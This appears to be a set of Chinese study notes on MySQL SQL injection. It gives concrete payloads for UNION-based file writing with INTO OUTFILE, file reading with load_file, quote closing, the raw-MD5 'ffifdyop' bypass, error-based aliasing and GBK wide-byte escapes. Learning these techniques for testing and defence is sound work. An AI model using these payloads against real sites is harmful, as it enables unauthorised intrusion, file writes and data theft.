一、注入类型:
1.整型(没有单引号和双引号)
2.字符型(有单引号和双引号)
get,post, cookie user-agent 注入,其实就是针对不同的点进行注入,实际上就是整型和字符型的注入在不同点的实现。
二、导出数据库:
payload:
id=1 and 1=2 union select 1,2,'<?php phpinfo()?>' from admin into outfile 'd:/111.php'
可以将php phpinfo的语句使用十六进制绕过单引号的过滤。
三、读文件:
通过load_file(0x2fadajkdlgajo) 也支持十六进制
通过联合注入读文件,一开始判断到数据库有三个字段,故payload为 id=1 and 1=2 union select 1,1,load_file("d:/1.txt")
四、html的锚点:
即浏览器对用户输入的#号,认为是html的锚点(点击某个点,直接跳转到浏览器页面相对应的位置),而#在mysql中是注释符,需要用到注释,不能被浏览器作为锚点用于当前页面的执行,故需要对#号做URL编码。#-->%23
五、闭合单引号:
通过后面输入一个字符型判断条件闭合后字符型注入后面的单引号
如 id=1' and 1=2 union select 2,2,2 from admin where '1' = '1
六、MD5注入:
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
md5($password,true)将MD5值转化为了十六进制
思路比较明确,当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成
SELECT * FROM admin WHERE pass = ''or'6<trash>'
提供一个字符串:ffifdyop
七、取别名(用于报错注入)
select username,password from admin
取别名:
select username as xiaoming, password as xiaodong from admin
select username as xiaoming, password as xiaodong from admin order by id
(也可以将as省略掉)
select username as xiaoming, password as xiaodong from admin order by xiaoming
以上均不会报错。
select username as xiaoming, password as xiaodong from admin order by dongdong
则产生报错。
八、宽字节注入:
如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\。
%df%27
九、常用注入函数:
hex() ord() char()
hex十六进制 ord转换为ascii码 char用于ascii码还原